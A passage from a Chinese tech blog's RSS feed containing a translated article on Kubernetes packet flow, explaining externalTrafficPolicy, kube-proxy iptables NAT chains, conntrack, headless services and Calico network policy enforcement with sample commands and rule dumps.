&lt;li&gt;数据包被路由到 &lt;code&gt;node1&lt;/code&gt; 或者 &lt;code&gt;node3&lt;/code&gt;，然后到达 Pod；&lt;/li&gt;
&lt;li&gt;Pod 的响应返回到 &lt;code&gt;node2&lt;/code&gt;；&lt;/li&gt;
&lt;li&gt;Pod 的响应返回到客户端。&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;&lt;img src=&#34;images/6.png&#34; alt=&#34;6.png&#34; /&gt;&lt;/p&gt;

&lt;h4 id=&#34;local&#34;&gt;Local&lt;/h4&gt;

&lt;p&gt;这种策略中，&lt;code&gt;kube-proxy&lt;/code&gt; &lt;strong&gt;只会在存在目标 Pod 的节点上&lt;/strong&gt;加入 NodePort 的代理规则。API Server 要求只有使用 &lt;code&gt;LoadBalancer&lt;/code&gt; 或者 &lt;code&gt;NodePort&lt;/code&gt; 类型的 Service 才能够使用这种策略。这是因为 &lt;code&gt;Local&lt;/code&gt; 策略只跟外部访问相关。&lt;/p&gt;

&lt;p&gt;如果使用了 &lt;code&gt;Local&lt;/code&gt; 策略，&lt;code&gt;kube-proxy&lt;/code&gt; 只会代理到本地 &lt;code&gt;endpoint&lt;/code&gt; 的流量，不会向其它节点转发。如果本地没有相应端点，发送到该节点的流量就会被丢弃，所以数据包中会保留正确的源 IP，可以放心的在数据包处理规则中使用。&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-yaml&#34;&gt;---
apiVersion: v1
kind: Service
metadata:
  name: frontend
spec:
  type: NodePort
  externalTrafficPolicy: Local
  selector:
    app: webapp
  ports:
      # By default and for convenience, the `targetPort` is set to the same value as the `port` field.
    - port: 80
      targetPort: 80
      # Optional field
      # By default and for convenience, the Kubernetes control plane will allocate a port from a range (default: 30000-32767)
      nodePort: 31380
...
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;&lt;code&gt;Local&lt;/code&gt; 策略下的数据包：&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;客户端发送数据包到 &lt;code&gt;node1:31380&lt;/code&gt;，这个端点上存在目标 Pod；&lt;/li&gt;
&lt;li&gt;&lt;code&gt;node1&lt;/code&gt; 把数据包路由到端点，其中带有正确的源 IP；&lt;/li&gt;
&lt;li&gt;因为策略限制，&lt;code&gt;node1&lt;/code&gt; 不会把数据包发给 &lt;code&gt;node3&lt;/code&gt;；&lt;/li&gt;
&lt;li&gt;客户端发送数据包给 &lt;code&gt;node2:31380&lt;/code&gt;，该节点上不存在目标 Pod；&lt;/li&gt;
&lt;li&gt;数据包被丢弃。&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;&lt;img src=&#34;images/7.png&#34; alt=&#34;7.png&#34; /&gt;&lt;/p&gt;

&lt;h4 id=&#34;loadbalancer-service-类型中的-local-策略&#34;&gt;LoadBalancer Service 类型中的 Local 策略&lt;/h4&gt;

&lt;p&gt;如果在 Google GKE 上使用 &lt;code&gt;Local&lt;/code&gt; 策略，由于健康检查的原因，会把不运行对应 Pod 的节点从负载均衡池中剔除，所以不会发生丢弃流量的问题。这种模型对于需要处理大量外部入栈流量，需要避免跨节点跳转从而降低延迟的应用非常有帮助。另外因为不需要进行 SNAT，从而让源 IP 得以保存。然而官方文档声明，这种策略存在不够均衡的短板。&lt;/p&gt;

&lt;p&gt;&lt;img src=&#34;images/8.png&#34; alt=&#34;8.png&#34; /&gt;&lt;/p&gt;

&lt;h2 id=&#34;kube-proxy-iptable&#34;&gt;Kube-Proxy（iptable）&lt;/h2&gt;

&lt;p&gt;Kubernetes 中负责 Service 对象的组件就是 &lt;code&gt;kube-proxy&lt;/code&gt;。它在每个节点上运行，为 Pod 和 Service 生成复杂的 iptables 规则，完成所有的过滤和 NAT 工作。如果登录到 Kubernetes 节点上，运行 &lt;code&gt;iptables-save&lt;/code&gt;，会看到 Kubernetes 或者其它组件生成的规则。最重要的是 &lt;code&gt;KUBE-SERVICE&lt;/code&gt;、&lt;code&gt;KUBE-SVC-*&lt;/code&gt; 以及 &lt;code&gt;KUBE-SEP-*&lt;/code&gt;：&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;&lt;code&gt;KUBE-SERVICE&lt;/code&gt; 是 &lt;code&gt;Service&lt;/code&gt; 包的入口。它负责匹配 IP:Port，并把数据包发给对应的 &lt;code&gt;KUBE-SVC-*&lt;/code&gt;。&lt;/li&gt;
&lt;li&gt;&lt;code&gt;KUBE-SVC-*&lt;/code&gt; 担任负载均衡的角色，会平均分配数据包到 &lt;code&gt;KUBE-SEP-*&lt;/code&gt;。每个 &lt;code&gt;KUBE-SVC-*&lt;/code&gt; 都有和 &lt;code&gt;Endpoint&lt;/code&gt; 同样数量的 &lt;code&gt;KUBE-SEP-*&lt;/code&gt;。&lt;/li&gt;
&lt;li&gt;&lt;code&gt;KUBE-SEP-*&lt;/code&gt; 代表的是 &lt;code&gt;Service&lt;/code&gt; 的 &lt;code&gt;EndPoint&lt;/code&gt;，它负责的是 DNAT，会把 &lt;code&gt;Service&lt;/code&gt; 的 IP:Port 替换为 Pod 的 IP:Port。&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Conntrack 会介入 DNAT 过程，使用状态机来跟踪连接状态。为了记住目标地址的变更，并在回包时候进行恢复，这些状态是必须保存的。iptables 还可以根据 conntrack 状态（ctstate）来决定数据包的目标。下面四个 conntrack 状态尤其重要：&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;&lt;code&gt;NEW&lt;/code&gt;：conntrack 对该数据包一无所知，该状态出现在收到 &lt;code&gt;SYN&lt;/code&gt; 的时候。&lt;/li&gt;
&lt;li&gt;&lt;code&gt;ESTABLISHED&lt;/code&gt;：conntrack 知道该数据包属于一个已发布连接，该状态出现于握手完成之后。&lt;/li&gt;
&lt;li&gt;&lt;code&gt;RELATED&lt;/code&gt;：这个数据包不属于任何连接，但是他是隶属于其它连接的，在 FTP 之类的协议里常用。&lt;/li&gt;
&lt;li&gt;&lt;code&gt;INVALID&lt;/code&gt;：有问题的数据包，conntrack 不知道如何处理。这种状态是 Kubernetes 问题的常客。&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Service 和 Pod 之间的 TCP 连接过程如下：&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;左侧的客户端 Pod 发送数据包到一个 Service：&lt;code&gt;2.2.2.10:80&lt;/code&gt;；&lt;/li&gt;
&lt;li&gt;数据包经过客户端节点的 iptables 规则，目标改为 &lt;code&gt;1.1.1.20:80&lt;/code&gt;；&lt;/li&gt;
&lt;li&gt;服务端 Pod 处理数据包，发送一个响应包到 &lt;code&gt;1.1.1.10&lt;/code&gt;；&lt;/li&gt;
&lt;li&gt;数据包回到客户端节点，conntrack 认出这个数据包，把源地址改回 &lt;code&gt;2.2.2.10:80&lt;/code&gt;；&lt;/li&gt;
&lt;li&gt;客户端 Pod 收到响应包。&lt;/li&gt;
&lt;/ul&gt;

&lt;h2 id=&#34;iptables&#34;&gt;iptables&lt;/h2&gt;

&lt;p&gt;在 Linux 操作系统中使用 &lt;code&gt;netfilter&lt;/code&gt; 处理防火墙工作。这是一个内核模块，决定是否放行数据包。iptables 是 netfilter 的前端。二者经常被混为一谈。&lt;/p&gt;

&lt;h3 id=&#34;链&#34;&gt;链&lt;/h3&gt;

&lt;p&gt;每条链负责一种特定任务。&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;&lt;code&gt;PREROUTING&lt;/code&gt;：决定数据包刚刚进入网络端口时的对策。有几种不同的选择，例如修改数据包（NAT），丢弃数据包或者什么都不做使其通过；&lt;/li&gt;
&lt;li&gt;&lt;code&gt;INPUT&lt;/code&gt;：其中经常包含一些用于防止恶意行为的严格规则，防止系统遭到入侵。开放或者屏蔽端口的行为就是在这里进行的；&lt;/li&gt;
&lt;li&gt;&lt;code&gt;FORWARD&lt;/code&gt;：顾名思义，负责数据包的转发。在将服务器作为路由器的时候，就需要在这里完成任务。&lt;/li&gt;
&lt;li&gt;&lt;code&gt;OUTPUT&lt;/code&gt;：这里负责所有的网络浏览的行为。这里可以限制所有数据包的发送。&lt;/li&gt;
&lt;li&gt;&lt;code&gt;POSTROUTING&lt;/code&gt;：发生在数据包离开服务器之前，数据包最后的可跟踪位置。&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;&lt;img src=&#34;images/9.png&#34; alt=&#34;9.png&#34; /&gt;&lt;/p&gt;

&lt;p&gt;&lt;code&gt;FORWARD&lt;/code&gt; 仅在 &lt;code&gt;ip_forward&lt;/code&gt; 启用时才有效。所以下面的命令在 Kubernetes 中很重要：&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-command&#34;&gt;$ sysctl -w net.ipv4.ip_forward=1
net.ipv4.ip_forward = 1
$ cat /proc/sys/net/ipv4/ip_forward
1
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;上面的变更是暂时性的，要持久化这个变更，需要在 &lt;code&gt;/etc/sysctl.conf&lt;/code&gt; 中写入 &lt;code&gt;net.ipv4.ip_forward = 1&lt;/code&gt;。&lt;/p&gt;

&lt;h3 id=&#34;表&#34;&gt;表&lt;/h3&gt;

&lt;p&gt;接下来会讨论 NAT 表，除此之外还有几个：&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;&lt;code&gt;Filter&lt;/code&gt;：缺省表，这里决定是否允许数据包出入本机，因此可以在这里进行屏蔽等操作；&lt;/li&gt;
&lt;li&gt;&lt;code&gt;Nat&lt;/code&gt;：是网络地址转换的缩写。下面会有例子说明；&lt;/li&gt;
&lt;li&gt;&lt;code&gt;Mangle&lt;/code&gt;：仅对特定包有用。它的功能是在包出入之前修改包中的内容；&lt;/li&gt;
&lt;li&gt;&lt;code&gt;RAW&lt;/code&gt;：用于处理原始数据包，主要用在跟踪连接状态，下面有一个放行 SSH 连接的例子。&lt;/li&gt;
&lt;li&gt;&lt;code&gt;Security&lt;/code&gt;：负责在 Filter 之后保障安全。&lt;/li&gt;
&lt;/ul&gt;

&lt;h3 id=&#34;kubernetes-中的-iptables-配置&#34;&gt;Kubernetes 中的 iptables 配置&lt;/h3&gt;

&lt;p&gt;部署一个 2 副本 Nginx 应用，导出 iptables 规则。&lt;/p&gt;

&lt;blockquote&gt;
&lt;p&gt;服务类型 NodePort&lt;/p&gt;
&lt;/blockquote&gt;

&lt;pre&gt;&lt;code class=&#34;language-command&#34;&gt;$ kubectl get svc webapp
NAME TYPE CLUSTER-IP EXTERNAL-IP PORT(S) AGE
webapp NodePort 10.103.46.104 &amp;lt;none&amp;gt; 80:31380/TCP 3d13h
$ kubectl get ep webapp 
NAME ENDPOINTS AGE
webapp 10.244.120.102:80,10.244.120.103:80 3d13h
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;ClusterIP 是一个存在于 iptables 中的虚拟 IP，Kubernetes 会把这个地址存在 CoreDNS 中。&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-command&#34;&gt;$ kubectl exec -i -t dnsutils -- nslookup webapp.default
Server:  10.96.0.10
Address: 10.96.0.10#53
Name: webapp.default.svc.cluster.local
Address: 10.103.46.104
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;为了能够进行包过滤和 NAT，Kubernetes 会创建一个 &lt;code&gt;KUBE-SERVICES&lt;/code&gt; 链，把所有 &lt;code&gt;PREROUTING&lt;/code&gt; 和 &lt;code&gt;OUTPUT&lt;/code&gt; 流量转发给 &lt;code&gt;KUBE-SERVICES&lt;/code&gt;：&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-command&#34;&gt;sudo iptables -t nat -L PREROUTING | column -t
Chain            PREROUTING  (policy  ACCEPT)                                                                    
target           prot        opt      source    destination                                                      
cali-PREROUTING  all         --       anywhere  anywhere     /*        cali:6gwbT8clXdHdC1b1  */                 
KUBE-SERVICES    all         --       anywhere  anywhere     /*        kubernetes             service   portals  */
DOCKER           all         --       anywhere  anywhere     ADDRTYPE  match                  dst-type  LOCAL
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;使用 &lt;code&gt;KUBE-SERVICES&lt;/code&gt; 介入包过滤和 NAT 之后，Kubernetes 会监控通向 Service 的流量，并进行 SNAT/DNAT 的处理。在 &lt;code&gt;KUBE-SERVICES&lt;/code&gt; 链尾部，会写入另一个链 &lt;code&gt;KUBE-SERVICES&lt;/code&gt;，用于处理 &lt;code&gt;NodePort&lt;/code&gt; 类型的 Service。&lt;/p&gt;

&lt;p&gt;&lt;code&gt;KUBE-SVC-2IRACUALRELARSND&lt;/code&gt; 链会处理针对 &lt;code&gt;ClusterIP&lt;/code&gt; 的流量，否则的话就会进入 &lt;code&gt;KUBE-NODEPORTS&lt;/code&gt;：&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-command&#34;&gt;$ sudo iptables -t nat -L KUBE-SERVICES | column -t
Chain                      KUBE-SERVICES  (2   references)                                                                                                                                                                             
target                     prot           opt  source          destination                                                                                                                                                             
KUBE-MARK-MASQ             tcp            --   !10.244.0.0/16  10.103.46.104   /*  default/webapp                   cluster  IP          */     tcp   dpt:www                                                                          
KUBE-SVC-2IRACUALRELARSND  tcp            --   anywhere        10.103.46.104   /*  default/webapp                   cluster  IP          */     tcp   dpt:www                                                                                                                                             
KUBE-NODEPORTS             all            --   anywhere        anywhere        /*  kubernetes                       service  nodeports;  NOTE:  this  must        be  the  last  rule  in  this  chain  */  ADDRTYPE  match  dst-type  LOCAL
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;看看 &lt;code&gt;KUBE-NODEPORTS&lt;/code&gt; 的内容：&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-command&#34;&gt;$ sudo iptables -t nat -L KUBE-NODEPORTS | column -t
Chain                      KUBE-NODEPORTS  (1   references)                                            
target                     prot            opt  source       destination                               
KUBE-MARK-MASQ             tcp             --   anywhere     anywhere     /*  default/webapp  */  tcp  dpt:31380
KUBE-SVC-2IRACUALRELARSND  tcp             --   anywhere     anywhere     /*  default/webapp  */  tcp  dpt:31380
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;看起来 &lt;code&gt;ClusterIP&lt;/code&gt; 和 &lt;code&gt;NodePort&lt;/code&gt; 处理过程是一样的，那么看看下面的处理流程：&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-command&#34;&gt;# statistic  mode  random -&amp;gt; Random load-balancing between endpoints.
$ sudo iptables -t nat -L KUBE-SVC-2IRACUALRELARSND | column -t
Chain                      KUBE-SVC-2IRACUALRELARSND  (2   references)                                                                             
target                     prot                       opt  source       destination                                                                
KUBE-SEP-AO6KYGU752IZFEZ4  all                        --   anywhere     anywhere     /*  default/webapp  */  statistic  mode  random  probability  0.50000000000
KUBE-SEP-PJFBSHHDX4VZAOXM  all                        --   anywhere     anywhere     /*  default/webapp  */

$ sudo iptables -t nat -L KUBE-SEP-AO6KYGU752IZFEZ4 | column -t
Chain           KUBE-SEP-AO6KYGU752IZFEZ4  (1   references)                                               
target          prot                       opt  source          destination                               
KUBE-MARK-MASQ  all                        --   10.244.120.102  anywhere     /*  default/webapp  */       
DNAT            tcp                        --   anywhere        anywhere     /*  default/webapp  */  tcp  to:10.244.120.102:80

$ sudo iptables -t nat -L KUBE-SEP-PJFBSHHDX4VZAOXM | column -t
Chain           KUBE-SEP-PJFBSHHDX4VZAOXM  (1   references)                                               
target          prot                       opt  source          destination                               
KUBE-MARK-MASQ  all                        --   10.244.120.103  anywhere     /*  default/webapp  */       
DNAT            tcp                        --   anywhere        anywhere     /*  default/webapp  */  tcp  to:10.244.120.103:80

$ sudo iptables -t nat -L KUBE-MARK-MASQ | column -t
Chain   KUBE-MARK-MASQ  (24  references)                         
target  prot            opt  source       destination            
MARK    all             --   anywhere     anywhere     MARK  or  0x4000
&lt;/code&gt;&lt;/pre&gt;

&lt;blockquote&gt;
&lt;p&gt;注意：输出内容已经被精简。&lt;/p&gt;
&lt;/blockquote&gt;

&lt;ul&gt;
&lt;li&gt;&lt;p&gt;ClusterIP：&lt;code&gt;KUBE-SERVICES&lt;/code&gt; → &lt;code&gt;KUBE-SVC-XXX&lt;/code&gt; → &lt;code&gt;KUBE-SEP-XXX&lt;/code&gt;&lt;/p&gt;&lt;/li&gt;

&lt;li&gt;&lt;p&gt;NodePort：&lt;code&gt;KUBE-SERVICES&lt;/code&gt; → &lt;code&gt;KUBE-NODEPORTS&lt;/code&gt; → &lt;code&gt;KUBE-SVC-XXX&lt;/code&gt; → &lt;code&gt;KUBE-SEP-XXX&lt;/code&gt;&lt;/p&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;blockquote&gt;
&lt;p&gt;NodePort 服务会有一个 ClusterIP 用于处理内外部通信。&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;上述规则的可视化表达：&lt;/p&gt;

&lt;p&gt;&lt;img src=&#34;images/10.png&#34; alt=&#34;10.png&#34; /&gt;&lt;/p&gt;

&lt;h3 id=&#34;extrenaltrafficpolicy-local&#34;&gt;ExtrenalTrafficPolicy: Local&lt;/h3&gt;

&lt;p&gt;如前文所述，使用 &lt;code&gt;ExtrenalTrafficPolicy: Local&lt;/code&gt; 会保留源 IP，并在到达节点上没有 Endpoint 的时候丢弃流量。没有本地 Endpoint 的节点上，iptables 的规则会怎样？&lt;/p&gt;

&lt;p&gt;使用 &lt;code&gt;ExtrenalTrafficPolicy: Local&lt;/code&gt; 部署 Nginx 服务：&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-command&#34;&gt;$ kubectl get svc webapp -o wide -o jsonpath={.spec.externalTrafficPolicy}
Local

$ kubectl get svc webapp -o wide
NAME     TYPE       CLUSTER-IP      EXTERNAL-IP   PORT(S)        AGE   SELECTOR
webapp   NodePort   10.111.243.62   &amp;lt;none&amp;gt;        80:30080/TCP   29m   app=webserver
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;检查一下没有本地 Endpoint 的节点上的 iptables 规则：&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-command&#34;&gt;$ sudo iptables -t nat -L KUBE-NODEPORTS
Chain KUBE-NODEPORTS (1 references)
target prot opt source destination
KUBE-MARK-MASQ tcp — 127.0.0.0/8 anywhere /* default/webapp */ tcp dpt:30080
KUBE-XLB-2IRACUALRELARSND tcp — anywhere anywhere /* default/webapp */ tcp dpt:30080
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;再看一下 &lt;code&gt;KUBE-XLB-2IRACUALRELARSND&lt;/code&gt;：&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-command&#34;&gt;$ iptables -t nat -L KUBE-XLB-2IRACUALRELARSND
Chain KUBE-XLB-2IRACUALRELARSND (1 references)
target prot opt source destination
KUBE-SVC-2IRACUALRELARSND all — 10.244.0.0/16 anywhere /* Redirect pods trying to reach external loadbalancer VIP to clusterIP */
KUBE-MARK-MASQ all — anywhere anywhere /* masquerade LOCAL traffic for default/webapp LB IP */ ADDRTYPE match src-type LOCAL
KUBE-SVC-2IRACUALRELARSND all — anywhere anywhere /* route LOCAL traffic for default/webapp LB IP to service chain */ ADDRTYPE match src-type LOCAL
KUBE-MARK-DROP all — anywhere anywhere /* default/webapp has no local endpoints */
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;这里就会看到，集群级别的流量没什么问题，但是 NodePort 流量会被丢弃。&lt;/p&gt;

&lt;h2 id=&#34;headless-service&#34;&gt;Headless Service&lt;/h2&gt;

&lt;p&gt;有的应用并不需要负载均衡和服务 IP。在这种情况下就可以使用 &lt;code&gt;headless&lt;/code&gt; Service，只要设置 &lt;code&gt;.spec.clusterIP&lt;/code&gt; 为 &lt;code&gt;None&lt;/code&gt; 即可。&lt;/p&gt;

&lt;p&gt;可以借助这种服务类型和其他服务发现机制协作，无需和 Kubernetes 绑定。&lt;code&gt;kube-proxy&lt;/code&gt; 不对这种没有 IP 的服务提供支持，也就没有什么负载均衡和代理之类的能力了。DNS 的配置要根据 Selector 来确定。&lt;/p&gt;

&lt;h3 id=&#34;有-selector&#34;&gt;有 Selector&lt;/h3&gt;

&lt;p&gt;定义了 Selector 的 Headless Service，Endpoint 控制器会创建 &lt;code&gt;Endpoint&lt;/code&gt; 记录，并修改 DNS 记录来直接返回 Service 后端的 Pod 地址。&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-command&#34;&gt;$ kubectl get svc webapp-hs
NAME        TYPE        CLUSTER-IP   EXTERNAL-IP   PORT(S)   AGE
webapp-hs   ClusterIP   None         &amp;lt;none&amp;gt;        80/TCP    24s
$ kubectl get ep webapp-hs
NAME        ENDPOINTS                             AGE
webapp-hs   10.244.120.109:80,10.244.120.110:80   31s
&lt;/code&gt;&lt;/pre&gt;

&lt;h3 id=&#34;无-selector&#34;&gt;无 Selector&lt;/h3&gt;

&lt;p&gt;没有定义 Selector 的 Headless Service，也就没有 Endpoint 记录。然而 DNS 系统会尝试配置：&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;&lt;code&gt;ExternalName&lt;/code&gt; 类型的服务，会产生 &lt;code&gt;CNAME&lt;/code&gt; 记录；&lt;/li&gt;
&lt;li&gt;其他类型则是所有 Endpoint 共享服务名称。&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;如果外部 IP 被路由到集群节点上，Kubernetes Service 可以用 &lt;code&gt;externalIPs&lt;/code&gt; 开放出来。通过 &lt;code&gt;externalIP&lt;/code&gt; 进入集群的流量，会被路由到 Service Endpoint 上。&lt;code&gt;externalIPs&lt;/code&gt; 不是 Kubernetes 管理的，需要集群管理员自行维护。&lt;/p&gt;

&lt;h2 id=&#34;网络策略&#34;&gt;网络策略&lt;/h2&gt;

&lt;p&gt;阅读至此，Kubernetes 网络策略的实现方法已经呼之欲出了——是的，就是 iptables。目前是 CNI 而非 &lt;code&gt;kube-proxy&lt;/code&gt; 负责实现网络策略。这部分内容本来应该写在第二篇 Calico 的内容里，然而我认为这里写出来可能更合适。&lt;/p&gt;

&lt;p&gt;我们创建三个服务：frontend、backend 和 db。&lt;/p&gt;

&lt;p&gt;缺省情况下，Pod 没有任何隔离，会接受任何来源的通信。&lt;/p&gt;

&lt;p&gt;&lt;img src=&#34;images/11.png&#34; alt=&#34;11.png&#34; /&gt;&lt;/p&gt;

&lt;p&gt;想要制定规则，禁止 frontend 访问 db：&lt;/p&gt;

&lt;p&gt;&lt;img src=&#34;images/12.png&#34; alt=&#34;12.png&#34; /&gt;&lt;/p&gt;

&lt;p&gt;这里推荐阅读 &lt;a href=&#34;https://www.openshift.com/blog/guide-to-kubernetes-ingress-network-policies&#34; target=&#34;_blank&#34;&gt;Guide to Kubernetes Ingress Network Policies&lt;/a&gt; 了解网络策略配置方面的更多内容。本节内容关注的是 Kubernetes 中策略的实现方式，而非配置知识。&lt;/p&gt;

&lt;p&gt;创建一个策略把 db 和 frontend 隔离开，这样一来 frontend 和 db 之间的流量就会被阻断。&lt;/p&gt;

&lt;blockquote&gt;
&lt;p&gt;上图中为了简单起见，写的是 Service 而非 Pod，安全策略的控制对象实际上是 Pod。&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;策略实施之后会产生如下效果，frontend 的 Pod 能访问 backend 但是无法访问 db。backend 的 Pod 可以访问 db。&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-command&#34;&gt;$ kubectl exec -it frontend-8b474f47-zdqdv -- /bin/sh
$ curl backend
backend-867fd6dff-mjf92
$ curl db
curl: (7) Failed to connect to db port 80: Connection timed out

$ kubectl exec -it backend-867fd6dff-mjf92 -- /bin/sh
$ curl db
db-8d66ff5f7-bp6kf
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;看看这里用到的网络策略：只允许 &lt;code&gt;‘allow-db-access&lt;/code&gt; 标签设置为 &lt;code&gt;true&lt;/code&gt; 的 Pod 访问 db。&lt;/p&gt;

&lt;p&gt;Calico 会把 Kubernetes 网络策略翻译成 Calico 格式：&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-command&#34;&gt;$ calicoctl get networkPolicy --output yaml
apiVersion: projectcalico.org/v3
items:
- apiVersion: projectcalico.org/v3
  kind: NetworkPolicy
  metadata:
    creationTimestamp: &amp;quot;2020-11-05T05:26:27Z&amp;quot;
    name: knp.default.allow-db-access
    namespace: default
    resourceVersion: /53872
    uid: 1b3eb093-b1a8-4429-a77d-a9a054a6ae90
  spec:
    ingress:
    - action: Allow
      destination: {}
      source:
        selector: projectcalico.org/orchestrator == &#39;k8s&#39; &amp;amp;&amp;amp; networking/allow-db-access
          == &#39;true&#39;
    order: 1000
    selector: projectcalico.org/orchestrator == &#39;k8s&#39; &amp;amp;&amp;amp; app == &#39;db&#39;
    types:
    - Ingress
kind: NetworkPolicyList
metadata:
  resourceVersion: 56821/56821
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;iptables 的 &lt;code&gt;filter&lt;/code&gt; 表在网络策略的实现中起了很重要的作用。Calico 中用到了 &lt;code&gt;ipsec&lt;/code&gt; 等高级概念，难于进行反向工程。在这个规则中可以看到，只有来自 backend 的流量才被允许发给 db。&lt;/p&gt;

&lt;p&gt;使用 &lt;code&gt;calicoctl&lt;/code&gt; 获取 endpoint 详情：&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-command&#34;&gt;$ calicoctl get workloadEndpoint
WORKLOAD                         NODE       NETWORKS        INTERFACE         
backend-867fd6dff-mjf92          minikube   10.88.0.27/32   cali2b1490aa46a   
db-8d66ff5f7-bp6kf               minikube   10.88.0.26/32   cali95aa86cbb2a   
frontend-8b474f47-zdqdv          minikube   10.88.0.24/32   cali505cfbeac50
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;&lt;code&gt;cali95aa86cbb2a&lt;/code&gt; 就是 db Pod veth 的主机侧。&lt;/p&gt;

&lt;p&gt;看看跟这个网络接口有关的 iptables 规则：&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-command&#34;&gt;$ sudo iptables-save | grep cali95aa86cbb2a
:cali-fw-cali95aa86cbb2a - [0:0]
:cali-tw-cali95aa86cbb2a - [0:0]
...
-A cali-tw-cali95aa86cbb2a -m comment --comment &amp;quot;cali:pm-LK-c1ra31tRwz&amp;quot; -m mark --mark 0x0/0x20000 -j cali-pi-_tTE-E7yY40ogArNVgKt
-A cali-tw-cali95aa86cbb2a -m comment --comment &amp;quot;cali:q_zG8dAujKUIBe0Q&amp;quot; -m comment --comment &amp;quot;Return if policy accepted&amp;quot; -m mark --mark 0x10000/0x10000 -j RETURN
-A cali-tw-cali95aa86cbb2a -m comment --comment &amp;quot;cali:FUDVBYh1Yr6tVRgq&amp;quot; -m comment --comment &amp;quot;Drop if no policies passed packet&amp;quot; -m mark --mark 0x0/0x20000 -j DROP
-A cali-tw-cali95aa86cbb2a -m comment --comment &amp;quot;cali:X19Z-Pa0qidaNsMH&amp;quot; -j cali-pri-kns.default
-A cali-tw-cali95aa86cbb2a -m comment --comment &amp;quot;cali:Ljj0xNidsduxDGUb&amp;quot; -m comment --comment &amp;quot;Return if profile accepted&amp;quot; -m mark --mark 0x10000/0x10000 -j RETURN
-A cali-tw-cali95aa86cbb2a -m comment --comment &amp;quot;cali:0z9RRvvZI9Gud0Wv&amp;quot; -j cali-pri-ksa.default.default
-A cali-tw-cali95aa86cbb2a -m comment --comment &amp;quot;cali:pNCpK-SOYelSULC1&amp;quot; -m comment --comment &amp;quot;Return if profile accepted&amp;quot; -m mark --mark 0x10000/0x10000 -j RETURN
-A cali-tw-cali95aa86cbb2a -m comment --comment &amp;quot;cali:sMkvrxvxj13WlTMK&amp;quot; -m comment --comment &amp;quot;Drop if no profiles matched&amp;quot; -j DROP
$ sudo iptables-save -t filter | grep cali-pi-_tTE-E7yY40ogArNVgKt
:cali-pi-_tTE-E7yY40ogArNVgKt - [0:0]
-A cali-pi-_tTE-E7yY40ogArNVgKt -m comment --comment &amp;quot;cali:M4Und37HGrw6jUk8&amp;quot; -m set --match-set cali40s:LrVD8vMIGQDyv8Y7sPFB1Ge src -j MARK --set-xmark 0x10000/0x10000
-A cali-pi-_tTE-E7yY40ogArNVgKt -m comment --comment &amp;quot;cali:sEnlfZagUFRSPRoe&amp;quot; -m mark --mark 0x10000/0x10000 -j RETURN
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;检查一下 ipset，会看到只有来自 backend pod 的 &lt;code&gt;10.88.0.27&lt;/code&gt; 才能访问 db。&lt;/p&gt;
</description>
    </item>
    
    <item>
      <title>数据包在 Kubernetes 中的一生（2）</title>
      <link>/post/life-of-a-packet-in-k8s-2/</link>
      <pubDate>Thu, 17 Jun 2021 07:10:41 +0800</pubDate>
      <guid>/post/life-of-a-packet-in-k8s-2/</guid>
      <description>

&lt;p&gt;原文：&lt;a href=&#34;https://dramasamy.medium.com/life-of-a-packet-in-kubernetes-part-2-a07f5bf0ff14&#34; target=&#34;_blank&#34;&gt;Life of a Packet in Kubernetes — Part 2&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;作者：&lt;a href=&#34;https://dramasamy.medium.com/&#34; target=&#34;_blank&#34;&gt;Dinesh Kumar Ramasamy&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;如前文所述，CNI 插件是 Kubernetes 网络的重要组件。目前有很多第三方 CNI 插件，Calico 就是其中之一，因为它的易用性和网络能力，得到很多工程师的青睐。它支持很多不同的平台，例如 Kubernetes、OpenShift、Docker EE、OpenStack 以及裸金属服务。Calico Node 组件以 Docker 容器的形式运行在 Kubernetes 的所有 Master 和 Node 节点上。Calico-CNI 插件会直接集成到 Kubernetes 每个节点的 Kubelet 进程中，一旦发现了新建的 Pod，就会将其加入 Calico 网络。&lt;/p&gt;

